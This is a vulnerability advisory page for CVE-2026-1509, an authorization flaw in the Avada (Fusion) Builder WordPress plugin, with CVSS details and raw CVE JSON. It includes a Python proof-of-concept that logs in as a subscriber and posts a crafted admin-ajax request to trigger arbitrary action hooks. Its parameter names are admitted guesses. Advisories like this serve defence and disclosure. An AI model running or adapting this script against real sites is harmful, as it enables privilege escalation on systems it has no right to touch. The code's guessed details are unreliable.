Security Vulnerability Report
中文
CVE-2026-1509 CVSS 5.4 MEDIUM

CVE-2026-1509

Published: 2026-04-15 04:17:33
Last Modified: 2026-04-22 20:23:16

Description

The Avada (Fusion) Builder plugin for WordPress is vulnerable to Arbitrary WordPress Action Execution in all versions up to, and including, 3.15.1. This is due to the plugin's `output_action_hook()` function accepting user-controlled input to trigger any registered WordPress action hook without proper authorization checks. This makes it possible for authenticated attackers, with Subscriber-level access and above, to execute arbitrary WordPress action hooks via the Dynamic Data feature, potentially leading to privilege escalation, file inclusion, denial of service, or other security impacts depending on which action hooks are available in the WordPress installation.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Avada (Fusion) Builder <= 3.15.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # This is a conceptual Proof of Concept (PoC) for CVE-2026-1509. # It demonstrates how a low-privileged user might trigger an arbitrary action. TARGET_URL = "http://example.com/wp-admin/admin-ajax.php" USERNAME = "subscriber" PASSWORD = "password" # Create a session to maintain cookies session = requests.Session() # Step 1: Authenticate as a Subscriber # Login endpoint is typically wp-login.php login_data = { "log": USERNAME, "pwd": PASSWORD, "redirect_to": "/wp-admin/", "testcookie": "1" } print(f"[*] Attempting to login as {USERNAME}...") login_response = session.post("http://example.com/wp-login.php", data=login_data) if login_response.status_code == 200 and "dashboard" in login_response.text.lower(): print("[+] Login successful!") # Step 2: Exploit the Arbitrary Action Execution # The vulnerable function is output_action_hook(). # We need to send a request that triggers the Dynamic Data feature # and specifies a malicious action hook. # Note: The exact parameter names (e.g., 'action', 'hook_name') depend on the specific implementation. # Example payload structure based on Avada Builder AJAX behavior exploit_data = { "action": "fusion_builder_get_dynamic_data", # Hypothetical action to trigger the vulnerable function "fusion_action": "output_action_hook", # Triggering the specific function "hook_name": "wp_loaded", # The arbitrary WordPress action to execute "args": [] # Arguments to pass to the hook } print("[*] Sending exploit payload...") exploit_response = session.post(TARGET_URL, data=exploit_data) if exploit_response.status_code == 200: print("[+] Payload sent. Check server for impact (e.g., privilege escalation).") else: print(f"[-] Request failed with status code: {exploit_response.status_code}") else: print("[-] Login failed. Check credentials.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-1509", "sourceIdentifier": "[email protected]", "published": "2026-04-15T04:17:33.173", "lastModified": "2026-04-22T20:23:16.350", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Avada (Fusion) Builder plugin for WordPress is vulnerable to Arbitrary WordPress Action Execution in all versions up to, and including, 3.15.1. This is due to the plugin's `output_action_hook()` function accepting user-controlled input to trigger any registered WordPress action hook without proper authorization checks. This makes it possible for authenticated attackers, with Subscriber-level access and above, to execute arbitrary WordPress action hooks via the Dynamic Data feature, potentially leading to privilege escalation, file inclusion, denial of service, or other security impacts depending on which action hooks are available in the WordPress installation."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-94"}]}], "references": [{"url": "https://avada.com/documentation/avada-changelog/", "source": "[email protected]"}, {"url": "https://themeforest.net/item/avada-responsive-multipurpose-theme/2833226", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/fdc57b06-bae9-49a3-84dd-f593705330e9?source=cve", "source": "[email protected]"}]}}